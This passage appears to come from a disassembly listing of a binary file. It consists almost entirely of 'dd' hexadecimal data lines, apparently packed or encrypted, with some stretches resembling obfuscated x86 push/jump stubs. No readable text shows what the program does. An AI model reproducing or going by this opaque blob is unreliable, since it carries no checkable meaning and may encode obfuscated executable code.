3CE9061Ah, 0F6FFFA62h, 0AA87D9E6h, 65429429h, 1FFC4E6Dh dd 0D4B103B6h, 2F68BA03h, 0DB02789h, 0C6F3DEBBh, 7E419774h dd 34874F2Ch, 484ED6E2h, 580C0362h, 28F57B76h, 0F9E00FB0h dd 0AFF7C412h, 5CBD9BD8h, 154497A4h, 83389EABh, 8B915931h dd 51F235A5h, 586291B9h, 36FE46EAh, 0CA506F69h, 51F235E4h dd 9BA1D0F8h, 0E5870295h, 9C487057h, 6667456h, 0E1A97F58h dd 665F5DBh, 99E10958h, 665AD93h, 6A99C158h, 4617A18h dd 0FAF8D970h, 46h, 0F9A51311h, 0C9F2E4B1h, 0CB8E949Ah dd 9957E502h, 0F0BDC571h, 0D52DD9E2h, 38062A6h, 698B5806h dd 66411829h, 1C6003B4h, 4F587181h, 297E89F8h, 44D78EFAh dd 0BA27F8D9h, 1F000000h, 0A16B5157h, 577F5806h, 0C4124128h dd 993E4BF7h, 6B6B7824h, 3F97A450h, 6B67347Ch, 0FB112150h dd 51F1ED1Eh, 1C6E4D89h, 0C265973Fh, 6F959FEEh, 0DBE7932Bh dd 7379C16Dh, 57E54438h, 946CBEE6h, 7FAE11C7h, 0F570775h dd 0FB1BDD09h, 0FD456D5Dh, 0C416A730h, 0EFCDF0E7h, 3893FA79h dd 454624Ch, 2200000Dh, 0D6B305BAh, 916EC0FDh, 4B287A41h dd 0DD2F8Ah, 5B94E6D7h, 3984535Dh, 0F2C70AE7h, 0AA15C3A0h dd 605B7B58h, 747A020Eh, 580C048Eh, 1240A7A2h, 0E3B0F8C5h dd 8E9ECDF0h, 8D1DFB6h, 0F39F1CBAh, 0CDF7449Bh, 0B91D2857h dd 0ECF2BA02h, 51F28A06h, 0B3C3F21Ah, 8D4A17FAh, 0B864577Bh dd 0C41CC860h, 711D8B95h, 3602329h, 62E57E5h, 0AF0F6BEh dd 1E580603h, 175DC7F6h, 58060335h, 677C1E40h, 0F8D9D6FEh dd 0D700h, 4F171700h, 0F1E86349h, 0AAA4E651h, 8CED347Dh dd 646F9EC6h, 909D4972h, 84CA7647h, 51F226A7h, 0A5F7C412h dd 1AD0EC8h, 8FD787F5h, 0E5404E89h, 82D4FC57h, 36C938A6h dd 73FAD3DFh, 0E84EEABh, 293E8BB7h, 0C1F5DBE1h, 0E1095806h dd 62390149h, 0B5771DAAh, 78BCEBDCh, 5DFB5F5Dh, 935BA3CBh dd 76DBF5BCh, 0B775987Ch, 0AC92E9CFh, 20D3C05h, 0B996E8D5h dd 3E9EF1Eh, 175E1DCDh, 0F97957EFh, 0E0389328h, 0BF1E8F6h dd 0A7350000h, 0EAE9C618h, 2EA481D3h, 775E3B8Dh, 0C413F042h dd 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh, 6BBD02D6h, 2173488Eh dd 0A1878D15h, 0B5580C05h, 0C51253BAh, 1CEA6F8h, 0B1BCEBD2h dd 0FAE0E625h, 0E51F1E7h, 0E84A3036h, 365E51F1h, 0FBB4069Eh dd 0AE38C412h, 388751A5h, 2AE841E1h, 0C6410ADh, 2330DC74h dd 0D9B608B3h, 916C2F9h, 7E9CEECDh, 660A7827h, 49CD181Eh dd 739B57E5h, 9B9B7ED2h, 0B523AF8Fh, 84BBC109h, 3A55839Dh dd 0EC5A6612h, 0C1C7428Fh, 55A49DDBh, 832FC7EFh, 454B932Bh dd 5B991F78h, 57666D4Ah, 2CAA77BFh, 76603D8Fh, 0D7156745h dd 0EED83AF4h, 0B36E0h, 0D3ECF000h, 8E2FA481h, 48735F3Ch dd 0FDBC19F6h, 0B409CEABh, 218F2962h, 0D8B507B6h, 916EC0F9h dd 49267847h, 0D0DC2E8Dh, 65C4248h, 7570580Ch, 42C4120Eh dd 727F2B90h, 26BE5663h, 50006E7Ah, 15C30208h, 9C7957E5h dd 0A6EE8637h, 0F5F2D8DEh, 2E065805h, 5F64228h, 962E5658h dd 0D7B5767h, 0A4131961h, 0BA5DF940h, 0BEA0E692h, 0C95E1A21h dd 75F0EBA7h, 0E9F2C5B7h, 0D605B61Ch, 5570h, 0A5138700h dd 40ABB1F9h, 4E57E554h, 0C711DE26h, 0F5E3B0F8h, 0C5111ECAh dd 1F2F5EF6h, 6352509h, 0EBE6B358h, 51FDBC19h, 5DB561F9h dd 49F5C610h, 1FB7C2F1h, 4E87549Ch, 1A67BF6Bh, 5804B9h dd 0F4E4C1D1h, 22B683CBh, 0F6046E9Dh, 0A67h, 4574612Eh dd 0A5132F16h, 0A7ABB1F9h, 0F757EB02h, 333191Fh, 6F47580Ch dd 0C038369h, 0D76F9758h, 0AC2AF73Fh, 0F6E0BD0Fh, 27B07DC5h dd 6392EA96h, 1A7FEDF9h, 1F67FFBCh, 51E8619h, 84CCF45Eh dd 6C9B1EB7h, 7E3D9966h, 34874F2Ch, 620E7C88h, 46B5141Ah dd 83AB6419h, 76CDE1A5h, 28362032h, 0A03h, 0B406B923h dd 6FC1FCD7h, 297B4092h, 0DE30894Ch, 95E7D601h, 83545C5Ch dd 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh, 7B030F61h, 0C078F75h dd 41A8A358h, 0F1E7F7D9h, 5F0F7D51h, 808D4A17h, 0F1E7947Ah dd 0E880A851h, 0AFB5E43Ch, 0EB02FEA9h, 25330A57h, 0F9AFC4B6h dd 244CD0FFh, 0F4C70FDCh, 3EF3CAA2h, 3BE0AFE8h, 0D0061140h dd 0FFD6A3EBh, 69B60EBAh, 0B721506Fh, 49913DABh, 92957B81h dd 81A9580Ch, 7464C52h, 0BD5DFFC1h, 53D9B795h, 523C3890h dd 96E44h, 9B24B800h, 56676C49h, 10AB2704h, 0C5F4E1BEh dd 7C419673h, 0E9C7F12Ah, 0A07DCFEEh, 59368831h, 11EE407Fh dd 98A4F6C5h, 8240A10h, 3D38580Ch, 0F7C412D6h, 23983E4Bh dd 44C90EDBh, 0F1E8583Eh, 0AC446C51h, 0E7FB137Dh, 0EE3530ABh dd 44C9FEEDh, 0E0000004h, 2F8C4A17h, 0D888F600h, 0FF9AB990h dd 0AA620A57h, 0C86F757Bh, 5E57EB3Fh, 0B521EE36h, 0FFD7B406h dd 56EED107h, 6795410Eh, 8E6D90Fh, 0E110A85Fh, 784F3177h dd 67D5580Ch, 4986FB7h, 6578DD50h, 0BD3D908h, 0AD573D43h dd 846B580Ch, 0C616BAF5h, 0F542DA5Fh, 0D72FDBE2h, 0A22564A8h dd 0B3DB5DFFh, 9072C5D5h, 6C7A6438h, 8AFh, 85A6577h, 0C315A82Bh dd 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h, 725F3C8Eh dd 0C018F547h, 6D0ADFFh, 0CF5763B5h, 0C08E3C9h, 95FCF758h dd 0E9BA4017h, 0FE4C5E4Bh, 0EA12C4CFh, 8D500773h, 0BC81550h dd 616E1AB2h, 829A4675h, 501D2C6Eh, 30883485h, 0DED09501h dd 782EFEEDh, 45000003h, 0F1E7F7D9h, 5F0F7D51h, 318E4A17h dd 9F6FC02h, 1B57EB03h, 0F8DEABF3h, 429471C3h, 2DDC3C9h dd 0C9F1580Ch, 0B798531h, 0E9952AAEh, 0ABB1F991h, 5DFF306Ch dd 881CFA22h, 0B53890E5h, 80DBDCBh, 0C3190000h, 6CDAAFCh dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh, 0DE308D4Ah dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580C0Ah dd 0C412379Eh, 942C9142h, 0C0FBDBE8h, 0AAE8FC14h, 0EDEE3431h dd 2EDCAFEh, 0FAC20000h, 0F1F00EF4h, 0CBFA2251h, 0E7E1D9E4h dd 158351F1h, 351B2169h, 4957EB03h, 3856B71h, 8B08580Ch dd 47D56C4Dh, 0EF87AF75h, 0BFFCDAA7h, 7546906Dh, 0EF4FBDC9h dd 0C8403E9h, 57EF1758h, 0CFDA090Fh, 48705DFFh, 9046446Ah dd 15230D38h, 773h, 449629B3h, 0FF516C67h, 0B90BB022h dd 6EC0F9DCh, 25774691h, 0F3E4CCECh, 369B78CAh, 84543183h dd 0CA0CE93Bh, 0B939FF1h, 0C0A1F05h, 0D1383358h, 4BF7C412h dd 7723983Eh, 4BE1A105h, 0A0DE308Bh, 0FEEDF1C5h, 0B607CC99h dd 1D83B20Ah, 7, 2451134h, 0D9680000h, 51F1E7E1h, 21691583h dd 0EB031E1Bh, 0E0285057h, 34874B18h, 0DFDCFA05h, 9526B08Dh dd 0BF6FDDE9h, 4E427177h, 0FBD85DFFh, 6E4CE4D7h, 3890C74Ah dd 0E423311Bh, 42000006h, 0F6D3259Ah, 0B18EE0DDh, 6B489A21h dd 20FD4F6Ah, 7BB406B7h, 5964733Dh, 12A72A07h, 0CAF5E3C0h dd 803B9B78h, 949A222Eh, 580C0AAEh, 1260C7C2h, 0D8AFF7C4h dd 0DE9F52C6h, 4DB7E633h, 6F759640h, 51F29889h, 31DD759Dh dd 53F5BBFh, 5A98EAD1h, 0FEED410Bh, 6D528653h, 9B24B4C1h dd 76ED403h, 85000000h, 1A211h, 0E0D96800h, 8451F1E7h dd 1C226A16h, 57EB0328h, 1BE83058h, 0FE5602BDh, 3901C9CFh dd 0C034D33h, 0C2F7DA58h, 9AA5D4FCh, 6A377F3Ch, 1222516Eh dd 57666D3Ah, 192453ABh, 4652FEBDh, 13E028D8h, 0F54DF9C4h dd 8BBAC0C6h, 215DFF4Eh, 0C7A71BF9h, 0E8D23890h, 622DAh dd 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh dd 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h dd 0B70565Ch, 8984580Ch, 0F7C41222h, 64983E4Bh, 1EE76206h dd 721EB646h, 46FE9C00h, 5A5F7690h, 0CB9870C2h, 1884B306h dd 0FEEDD04Dh, 1CB1h, 0D9D2A900h, 7B4494C0h, 6F2077CFh dd 4E20772Ch, 7E3A974Dh, 11A48BBAh, 0D7h, 0E7E0D968h, 168451F1h dd 9E4B226Ah, 72477F25h, 22282E5Dh, 57EBD416h, 1FF63E66h dd 6D1117Eh, 77DF60B7h, 65323867h, 1BF84A71h, 328D4BBBh dd 0EA962E86h, 78C070DEh, 274372h, 0D3B1D95Eh, 388FEDF9h dd 649CAA94h, 0C2000005h, 7653A51Ah, 310E605Dh, 0EBC81AA1h dd 0A07DCFEAh, 0FB348637h, 0D9E4F3BDh, 9227AA87h, 4A756340h dd 0BB1BF8h, 141AA2AEh, 580C0C2Eh, 17E04742h, 63268240h dd 1342F0A2h, 41EDCE08h, 6E64A234h, 9709B54Dh, 0F9DD1733h dd 333270C2h, 0CBFEEDA3h, 7, 3111E2h, 12680000h, 3E4BF7C4h dd 6A772398h, 97A4506Dh, 0CBD37F3Ah, 0F1E7DFC5h, 19CBF351h dd 5E1495B5h, 5D5C7946h, 0D82A59B1h, 675482BAh, 243715h dd 128E0000h, 5B4147C4h, 6F51F1E8h, 0FB03AF47h, 0E918A52Eh dd 0F1E7C2A5h, 6E2C5051h, 69BB00D6h, 0AC0DC491h, 0C412967Dh dd 5B8B9038h, 31EE4578h, 0A11ABC7Eh, 0B8059DF5h, 58049C1Dh dd 0D073DE4Ch, 0F572119Eh, 0C18ED66Eh, 757BAA11h, 0EB8C6B6Fh dd 0DDE3BB57h, 580C8CF7h, 4296E30Bh, 0E179D17Dh, 0E5CBD199h dd 0F9580C8Ch, 0D49CA2D1h, 0BDECCF07h, 0F3E224B2h, 4DC2EC6h dd 0F01F9A37h, 0D90BF1E5h, 0B8AB3841h, 0A8407D56h, 4F745A60h dd 6088580Ch, 0A2101CC8h, 1DB0B6FEh, 95E056Ah, 69553B41h dd 41695E26h, 1E668E12h, 0E4368551h, 40ECCF07h, 0D21AC634h dd 563C420Ah, 0E35E2669h, 0C921CDF0h, 68ACDB03h, 64199209h dd 0DDF9D7FFh, 0C4327683h, 405CCDAh, 0BB210000h, 0FED5B204h dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580C0Dh dd 0C4123FA6h, 0EC8A5F7h, 2CF901ADh, 0D9E413ACh, 0A012BEFDh dd 0F0E61E3Ch, 34894E1Bh, 0C4AA3088h, 0D851F1E7h, 0EEC618B0h dd 0DC0BB221h, 0EDF1F570h, 3109FEh, 13200000h, 0E9B1F9A5h dd 5056B71Ch, 51F1E86Ah, 8FBE567Eh, 0E554E04Bh, 7EC6EE57h dd 469827B1h, 6364C30h, 0BA01D558h, 724D8B68h, 371B8C6h dd 130F0000h, 0E9B1F9A5h, 5905B61Ch, 0CDB3B901h, 0E151F1E7h dd 0CF468AB9h, 557E5E9h, 5C2931DDh, 8C994576h, 91DE7647h dd 3C477645h, 0FF75219Ah, 33191FE7h, 475805E9h, 0FC9EF01Fh dd 0EB33DB49h, 0F9EA6EE5h, 2A7CA45Dh, 69508552h, 0C9AFB5BDh dd 0DD5E19E9h, 0E4EE1DB5h, 7C82CA76h, 640DEB05h, 20E9ECB9h dd 2DEA341Ah, 88204864h, 0D15584DCh, 449461A9h, 0D5E24C7Bh dd 6565FC02h, 98EC3886h, 0E8EBB800h, 2F3CA6D5h, 5D6A16A9h dd 41964279h, 69FEE39Fh, 9F768BC7h, 48AB1B5Ah, 2F39687Dh dd 0CFD51DC1h, 6A22DB58h, 9524B18Eh, 8CEABFDh, 0DCFA07B3h dd 43B18DDFh, 0BA4D539Bh, 2870362Bh, 2C0E5400h, 3770570Bh dd 75E7515h, 57E088CBh, 0A613C28Fh, 361CA2FAh, 4A705713h dd 96D6CB22h, 0F2D5B2B7h, 415DC3h, 13740000h, 0ABB1F9A5h dd 57E502E8h, 81BD5D34h, 58694884h, 0D17DA529h, 61DA98Bh dd 17A42E58h, 46735E6Bh, 76458D9Ah, 9E033FE1h, 0FE95B5D7h dd 0F8D9BB67h, 0C997h, 11B88F00h, 4CFD26Ch, 12452C5Bh dd 434BF7C4h, 71C3906Ch, 80AF66F1h, 0AF5B6275h, 0DB8734A2h dd 6BB308CEh, 0DA86339Eh, 1D1E4CC3h, 34CC1334h, 2DFF505h dd 6D51F2BEh, 23005269h, 505C08B3h, 0F0F63EE2h, 57E60F4Dh dd 8561B3DBh, 9926B217h, 0ECECB901h, 989EA4D3h, 5DFBC715h dd 2D1319E1h, 0BA5E1DA6h, 0B0D89E1Bh, 8DD5FD81h, 5EA617C0h dd 48774691h, 417C5B38h, 93507D63h, 404E3838h, 1CFh, 0E83A8557h dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0C0FC3A9h dd 75DCD758h, 63494F17h, 0F051F1E8h, 0EC14DAE3h, 9825B2BDh dd 4E6D6946h, 0A51343FCh, 0E8ABB1F9h, 0B657E502h, 9E6F468Eh dd 0D5C847D6h, 0F19D20B3h, 68D20199h, 5FA4022h, 0A8754B58h dd 8AE28E2Fh, 5249095Bh, 0F8D9E013h, 0EFEBh, 6E0CE300h dd 0D0D68F84h, 0EB1477CEh, 91F97CDh, 0C412F3DAh, 5F5C7A47h dd 0F1E7F3D9h, 997F8551h, 0AD51F1E7h, 5BD8BF85h, 155E1C11h dd 822EC65Eh, 135B6275h, 0FB2A8F46h, 0C16E4B91h, 0FDD951F2h dd 478F6CBEh, 4EBCC874h, 0CB325F2h, 0F2C0A086h, 0F48CB451h dd 1203A6ACh, 0AA9157E6h, 97C5DC64h, 72A96A23h, 0C7ABF249h dd 9C62A0F7h, 2A529AC3h, 0B6734A92h, 26954173h, 87CB227Ah dd 0E6F6251Eh, 0ACF49C0Ah, 0FC9D82A6h, 0A2EA125Dh, 7DEED4DAh dd 0DA025E1Eh, 0FFD8A5ABh, 488F6CBEh, 7110F0B6h, 0AA42A266h dd 92911ECCh, 0B3C1AB38h, 0A7h, 10625D7Fh, 0CB1DA033h dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0C10EBD1h, 9D04FF58h dd 0A6F8C512h, 0EAD101CEh, 0ACB7E63Eh, 863F912Ah, 0AFF7C412h dd 9BCAEFE2h, 9B22431h, 0C16DDBB7h, 2D47379h, 224A57EBh dd 4E6D6976h, 4B71FFCh, 33D31258h, 359983CFh, 0BC17E415h dd 0CEFD5501h, 56A813C3h, 0B25E5D79h, 418930A5h, 138D7379h dd 79A183D0h, 0E98BE04Ah, 784393A9h, 2E8D4926h, 117482h dd 0DFAC0000h, 7A0A08F2h, 0B6DF16EBh, 0EB1A721Eh, 127DE404h dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 5E08950h dd 4, 8704E883h, 895C2404h, 68682434h, 89000069h, 89562414h dd 4C681E6h, 83000000h, 348704EEh, 1C895C24h, 6A406824h dd 4890000h, 2ABF6824h, 5587B0Fh, 39670F31h, 0F4054048h dd 8951A3E1h, 8B5458C2h, 0C483241Ch, 0B9515204h, 61955FF4h dd 4244C01h, 8438F59h, 0F4086B81h, 0FF61955Fh, 815B2434h dd 4C4h, 2434FF00h, 4C4835Ah, 0FA536AE9h, 0BAA568FFh, 51DB39DDh dd 0B6EAFEC2h, 39B886D6h, 3061A2Ah, 77E0FFC5h, 5F70BC8Bh dd 3F207261h, 0A35460C9h, 0DA447935h, 3F484998h, 3473A4B8h dd 976890A2h, 0EC2992C2h, 0F422D572h, 74501789h, 0AD4BDAE1h dd 715A0EB8h, 0F012C451h, 8841221Ch, 6666A281h, 9B6B7FB7h dd 1C3B2930h, 0A8609F36h, 4155B6A5h, 3B140B70h, 1C0FE667h dd 482C3016h, 0FA72FD45h, 7A00BDEBh, 2524B49Dh, 8D003042h dd 1A2C048Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h dd 0C3504000h, 6681F0E0h, 9D01C18Bh, 61415F1h, 32298D89h dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0DE476FC3h, 9A925069h, 2C0EF281h, 85C71D09h dd 614064Dh, 5E24h, 1D440CBAh, 7185C717h, 61426h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 81C6C353h, 3FEFBFCBh, 69B5FF21h, 6A061406h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 315C356h, 0CF39A92Eh, 236195FFh, 95310614h dd 6142205h, 95FF006Ah, 6141169h, 1BEBC08Bh, 0E3AC4D54h dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh, 0D217F168h dd 0E94C5F0Eh, 7, 7C785225h, 0E9000000h, 529h, 0D82A9547h dd 93E5D8FBh, 4D9F1CB6h, 2546570h, 0B90BB225h, 5F783880h dd 0A22F0C5Eh, 0F0E8C517h, 36A07DCFh, 9F273385h, 0C13B399h dd 65CCC758h, 63494F17h, 7751F1E8h, 0C115204Fh, 0E85E444Ah dd 957251F1h, 4EE67E3Dh, 7B4295A2h, 4A6F6633h, 0A82E0B1Bh dd 0A9F4CB13h, 553B3A77h, 0D1DE4877h, 0FD0AB605h, 19A632D6h dd 0FB5FD581h, 5ED3AA5Fh, 0CD000F9Bh, 706671A0h, 0BC1CF94Bh dd 4D4B103h, 3A070FBBh, 1B731F9Ch, 6B207CEh, 5D747FAEh dd 0B95BB05Ch, 4A756399h, 666D3A02h, 8BEBD157h, 27FF51F2h dd 0F28C3B21h, 8F274F51h, 0FB2A8F42h, 0F3C80EEBh, 8C1E0147h dd 869A51F2h, 4D96CFC4h, 5C68FEEDh, 60000000h, 0CE7A4593h dd 12604776h, 2B9042C4h, 0BDA1E793h, 4651F1E7h, 5F5E758Fh dd 0CA0E1BC7h, 293249F5h, 596BBAF5h, 0D36F53C7h, 206276CEh dd 0EDDABAABh, 0D44FEh, 6F3C0000h, 5F849862h, 5B6DC55Dh dd 12AD94C3h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h dd 9F371466h, 1211CA1Ch, 444CF8C5h, 0B35F5A77h, 0F2C70E5Bh dd 0A21BB8C3h, 622084F6h, 5EB00DCAh, 0D0A9AF86h, 0D9475938h dd 84379FAAh, 0F507CBD8h, 95748B7Dh, 357D1584h, 24F7068h dd 50BAE9D6h, 56EBA7C9h, 74969B7Fh, 5AB25E5Fh, 1D348F03h dd 24F382EEh, 0C38BFEEDh, 0F2BCD7BDh, 94C3EB51h, 742Eh dd 0C5124500h, 0EFE3B0F8h, 99C820CCh, 0BB0222Fh, 0C585E95Fh dd 0CD15A82Fh, 0E819FF05h, 52D51F1h, 0EEE9C6D6h, 0BF1623CFh dd 0F1C74EFAh, 515E901Ah, 80AF7431h, 0FE776C2Eh, 80FEED84h dd 689722B3h, 6A02h, 4F171900h, 0F1E86349h, 8486E651h dd 0F71C795Bh, 0CFDA0931h, 966DB508h, 0A6ECBB37h, 0AD17460Bh dd 5D238A0h, 1CB40CB8h, 3A583C70h, 96E8D502h, 6A4017DDh dd 41DFBBAh, 72616C9Bh, 76599F4Bh, 0F251F2CBh, 0B68DBCDEh dd 0EE3F33A2h, 9A8086CEh, 0AE51F27Ch, 53BFEE86h, 0FEED5D12h dd 0AECh, 4D0DE400h, 297C94B3h, 17563D6Ch, 0E863494Fh dd 4F7751F1h, 0FEBD1520h, 2026EEB6h, 51F1E83Ah, 0BAA0264Eh dd 0CE51F1E7h, 72585EA6h, 8651F1E8h, 0B8C52F5Eh, 9CF19D1Eh dd 2EA458FAh, 0F15F3B8Dh, 0D17D3E98h, 0D199E179h, 0E81D0309h dd 0A9AF51F1h, 51F1E7C3h, 0C1E9AFD7h, 3374E92h, 85AD57E5h dd 5465703Dh, 28AEBB25h, 92694193h, 0CA9C4E4Fh, 0B0BBEA2Bh dd 0A3E99526h, 5805EEBFh, 0E71D3D21h, 0B784CCEFh, 0D6E7EC1Ch dd 27FF0F3Eh, 0EF73595Fh, 5F875805h, 0AB12530h, 8185515Eh dd 65BD6950h, 4BAF21CDh, 0AA2DFA0Fh, 0C70F6713h, 5EEDBC1h dd 98C7EF58h, 2072498Dh, 0D9EA83E2h, 0F77BF8h, 9C730000h dd 0AB8AF8A9h, 0F1D80735h, 8E44A513h, 0DC29812Dh, 0E22AC2FBh dd 0E50DA5DCh, 87335B57h, 0D5F5C7Ah, 0CD15A630h, 0B7E6D700h dd 2596404Dh, 56676C79h, 0B69CA2AAh, 0CA58060Dh, 7E7C55A2h dd 0C85CAD87h, 24D0687Eh, 6B4E0CF0h, 0FF3555B9h, 5492E4D7h dd 0F8D99D11h, 6657804Dh, 2AD137h, 13E80000h, 0AAB0F8A6h dd 0D1F1E7E4h, 9EE490B8h, 0D1F1E7B8h, 0C37A183Ch, 0DCDFF356h dd 30F6FC44h, 451F1E8h, 6EAC8ADCh, 3000000h, 34894A17h dd 0E18DFB05h, 10D89399h, 370457E5h, 82686EA1h, 965805F0h dd 0D22AD66Eh, 3F6E4D85h, 0DAE793BBh, 906DBFFCh, 83C97546h dd 5805F0A2h, 0C4781AFEh, 0DF3F912h, 215805F1h, 330F61F9h dd 0CBD119C5h, 5DFF3CB0h, 3D4AF61Eh, 21762299h, 0A0DAF4CBh dd 0B5A7170Bh, 0DF163486h, 0B885CD71h, 676D9C1Dh, 19BA4661h dd 3A8CB464h, 0F9A51381h, 3390ABB1h, 0D6FE57EBh, 2B91D2Ah dd 0D2E9EDBAh, 20B693A3h, 13FFE5EBh, 0EB13580Ch, 8161A753h dd 99302D78h, 0F7DF1535h, 0CD9A72C4h, 1B010706h, 2FD26E78h dd 6BC36F07h, 66A5313Ch, 6E787A60h, 19668ED2h, 1D65FDBCh dd 0DD348550h, 255F3782h, 228CBB47h, 0A71431Ah, 8ABCAA10h dd 6E5A9E84h, 0F28AB2D2h, 0E71DB8C3h, 351B21ECh, 49D26E5Bh dd 0A9F18921h, 5AF5DBE1h, 0E109D26Eh, 9DF348B2h, 0BB708D0h dd 103284B3h, 0B11FADCh, 0D26E5B25h, 31791139h, 578F6F64h dd 38E38EC6h, 283867FFh, 84308B4Bh, 876h, 0F6E1AE00h, 0E4B198C7h dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 545633B8h dd 4C6815Eh, 83000000h, 348704EEh, 89575C24h, 4C781E7h dd 83000000h, 3C8704EFh, 34895C24h, 53896824h, 3C890000h dd 5B156824h, 0C890000h, 2C35B924h, 0CE89061Ah, 3C8B5459h dd 4C48124h, 68000000h, 7F4Bh, 8F243489h, 34FF0847h, 0C4835F24h dd 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA4CC6E9h dd 0FA0228FFh, 30EBB84Ch, 0C503061Ah, 0F8CDE0FFh, 0DD5D3213h dd 21116F15h, 27EB71D5h, 3A2059A5h, 6AF307CAh, 96A435AAh dd 69CC186Fh, 425F19E5h, 0CC3A09BCh, 0D6711480h, 8B675AE4h dd 7B756C3Bh, 94EC782Ah, 0AFD21B89h, 2A452C1Ch, 8E661B16h dd 55FE70D1h, 0D5A60351h, 6308111Bh, 0ECBD7D40h, 53032E42h dd 34565F31h, 0A1DA4EB0h, 33B46E9Ah, 6D36BB9h, 1DCF4798h dd 0C98F5C11h, 0B4326ECDh, 0ABE94098h, 0F000001h, 2714BB58h dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0) dd 0A26D8497h, 0EE69F033h, 0Bh dup(0) dd 0BAE90000h, 6800000Fh, 61A3550h, 0FB132DE9h, 367B68FFh dd 23E9061Ah, 68FFFB13h, 61A381Bh, 0FB1319E9h, 38C468FFh dd 0FE9061Ah, 68FFFB13h, 61A39C3h, 0FB1305E9h, 3AA268FFh dd 0FBE9061Ah, 68FFFB12h, 61A3B53h, 0FB12F1E9h, 3BDD68FFh dd 0E7E9061Ah, 68FFFB12h, 61A3CCEh, 0FB12DDE9h, 3D3968FFh dd 0D3E9061Ah, 68FFFB12h, 61A3DCDh, 0FB12C9E9h, 3E8C68FFh dd 0BFE9061Ah, 68FFFB12h, 61A3F35h, 0FB12B5E9h, 408068FFh dd 0ABE9061Ah, 68FFFB12h, 61A41E0h, 0FB12A1E9h, 650DFFFFh dd 0E8828094h, 6DFD0317h, 0EF79889Ch, 76FC0A1Eh, 0FE6B90A5h dd 85996A08h, 0D21F27Eh, 93A778F8h, 0C92BFC6Ch, 2D54E884h dd 79D73047h, 4226D929h, 0AEBA4589h, 0BEF109DDh, 2CF98E22h dd 8D2A7C2Ah, 7644846Bh, 0E37F42D3h, 2A2D6B4Fh, 0E5A839CAh dd 109C6049h, 5B14A534h, 413C37CFh, 0C1A50B30h, 0A759FDA0h dd 23F06Fh, 19F20000h, 6909FD01h, 407915D8h, 45341020h dd 0D76FFBB4h, 0AB304113h, 9D402145h, 906FA736h, 0D4h dd 3F26D992h, 5D16A7C3h, 0CC85ED19h, 914A7788h, 0D3B76411h dd 3ED26E31h, 0C12A2D82h, 59DC9F30h, 2D8229BDh, 0DA13A42Ah dd 96D22D71h, 20B450D3h, 9B2A2D82h, 0E18F760Ah, 2DAEE728h dd 2C8E87D1h, 6206F92Ah, 0E3827D91h, 50914A1Eh, 0EA0206BFh dd 31D226E9h, 0EAA3C53Ch, 1E5F18A9h, 5D672E5h, 883410ACh dd 3A5226F7h, 78DA7639h, 8B3A2847h, 23E337FAh, 0B83B7E4Fh dd 2F1A881Ch, 0C1CB032Ah, 115C54D6h, 0BE023BCCh, 94DC2748h dd 40099ADBh, 0E0BA5B6Dh, 5295E35Eh, 2900000Dh, 0AABE8FE3h dd 2D411258h, 0B2C697D3h, 3448194Fh, 0BACFA0D2h, 94DE2805h dd 1C54AFC3h, 0A2CE374Bh, 2642BDD1h, 12AEF355h, 30472E7Eh dd 0D953A301h, 6074452Dh, 0AAF8C99Fh, 2FD327AAh, 0F9CB5F3Bh dd 0BD4E2A2Ch, 0DB94DC29h, 455D619Ah, 0F0A9C141h, 75B1EAFh dd 7ABB74FCh, 0C84BCE41h, 2CF9982Ch, 8DE3222Ah, 942059EAh dd 3410205Bh, 0F7798A1Eh, 0A96CFD3Eh, 87C0B055h, 63B3AB1Eh dd 81D2E21h, 22BA467Fh, 0F6304138h, 0E88BD690h, 0DB6FA75Ah dd 0DEh, 3FE6F0E8h, 0B6527C97h, 26D9FF7Dh, 0C2168942h dd 34752E44h, 234FB7FBh, 0F9FFF76Ah, 9C368C95h, 0D721ADE6h dd 692A2CCFh, 0BB0FD296h, 90E02548h, 0CC0546FFh, 0A0C8374Bh dd 0CACBE3E7h, 0ED9A6B07h, 0FE8F3410h, 0E41592Dh, 41CDDE72h dd 0D98F7030h, 5114A536h, 0E68C7ACEh, 8A1EBA2Dh, 53041CDh dd 1EAAE374h, 3A2889ADh, 6334C8C0h, 96D924B5h, 0AB470A5Dh dd 2A2FE717h, 0AD700192h, 7C1EAD59h, 0EB0819BEh, 0BCD0A132h dd 1A5F284Ah, 83E0BA30h, 0C27BA08h, 0B8540000h, 